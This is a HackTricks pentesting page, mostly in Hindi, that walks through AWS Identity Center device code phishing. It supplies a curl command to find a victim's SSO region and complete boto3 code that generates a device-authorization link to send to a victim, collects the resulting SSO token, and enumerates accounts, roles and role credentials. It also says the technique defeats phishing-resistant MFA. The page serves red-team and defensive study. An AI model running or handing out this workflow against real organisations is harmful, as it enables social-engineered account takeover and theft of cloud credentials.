AWS - Identity Center & SSO Unauthenticated Enum

HackTricks को समर्थन दें

AWS Device Code Phishing

इस ब्लॉग पोस्ट में प्रारंभिक रूप से प्रस्तावित, यह संभव है कि एक लिंक को एक उपयोगकर्ता को भेजा जाए जो AWS SSO का उपयोग कर रहा हो, और यदि उपयोगकर्ता स्वीकार करता है तो हमलावर उपयोगकर्ता का प्रतिरूपण करने के लिए एक टोकन प्राप्त कर सकता है और Identity Center में उपयोगकर्ता द्वारा एक्सेस किए जा सकने वाले सभी रोल्स तक पहुंच सकता है।

इस हमले को करने के लिए आवश्यकताएँ हैं:

  • पीड़ित को Identity Center का उपयोग करना चाहिए

  • हमलावर को पीड़ित द्वारा उपयोग किए गए सबडोमेन का पता होना चाहिए <victimsub>.awsapps.com/start

सिर्फ उपरोक्त जानकारी के साथ, हमलावर उपयोगकर्ता को एक लिंक भेजने में सक्षम होगा जो यदि स्वीकार किया गया तो हमलावर को AWS उपयोगकर्ता खाते पर पहुंच प्रदान करेगा

हमला

  1. सबडोमेन ढूंढना

हमलावर का पहला कदम यह पता लगाना है कि पीड़ित कंपनी अपने Identity Center में कौन सा सबडोमेन उपयोग कर रही है। यह OSINT या अनुमान + BF के माध्यम से किया जा सकता है क्योंकि अधिकांश कंपनियां यहां अपने नाम या उनके नाम के एक संस्करण का उपयोग कर रही होंगी।

इस जानकारी के साथ, यह संभव है कि उस क्षेत्र को प्राप्त किया जाए जहां Identity Center को कॉन्फ़िगर किया गया था:

curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. पीड़ित के लिए लिंक उत्पन्न करें और भेजें

पीड़ित को प्रमाणित करने के लिए AWS SSO लॉगिन लिंक उत्पन्न करने के लिए निम्नलिखित कोड चलाएं। डेमो के लिए, इस कोड को एक python कंसोल में चलाएं और इसे बंद न करें क्योंकि बाद में आपको टोकन प्राप्त करने के लिए कुछ ऑब्जेक्ट्स की आवश्यकता होगी:

import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Send the generated link to the victim using you awesome social engineering skills!

  1. प्रतीक्षा करें जब तक पीड़ित इसे स्वीकार नहीं करता

यदि पीड़ित पहले से ही AWS में लॉग इन था तो उसे केवल अनुमतियों को स्वीकार करना होगा, यदि नहीं था, तो उसे लॉगिन करना होगा और फिर अनुमतियों को स्वीकार करना होगा। आजकल प्रॉम्प्ट इस तरह दिखता है:

  1. SSO एक्सेस टोकन प्राप्त करें

यदि पीड़ित ने प्रॉम्प्ट को स्वीकार कर लिया, तो इस कोड को चलाएं उपयोगकर्ता का प्रतिरूपण करते हुए SSO टोकन उत्पन्न करने के लिए:

token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO access token 8 घंटे के लिए मान्य है।

  1. उपयोगकर्ता का प्रतिरूपण करें

sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

फ़िशिंग the unphisable MFA

यह जानना मजेदार है कि पिछला हमला "unphisable MFA" (webAuth) का उपयोग करने पर भी काम करता है। ऐसा इसलिए है क्योंकि पिछला वर्कफ़्लो उपयोग किए गए OAuth डोमेन को कभी नहीं छोड़ता। अन्य फ़िशिंग हमलों की तरह जहां उपयोगकर्ता को लॉगिन डोमेन को बदलना पड़ता है, इस मामले में डिवाइस कोड वर्कफ़्लो तैयार किया गया है ताकि कोड डिवाइस द्वारा जाना जाता है और उपयोगकर्ता एक अलग मशीन में भी लॉगिन कर सकता है। यदि प्रॉम्प्ट स्वीकार किया जाता है, तो डिवाइस, केवल प्रारंभिक कोड को जानकर, उपयोगकर्ता के लिए क्रेडेंशियल्स प्राप्त करने में सक्षम होगा।

अधिक जानकारी के लिए इस पोस्ट को देखें

स्वचालित उपकरण

संदर्भ

HackTricks को समर्थन दें

Last updated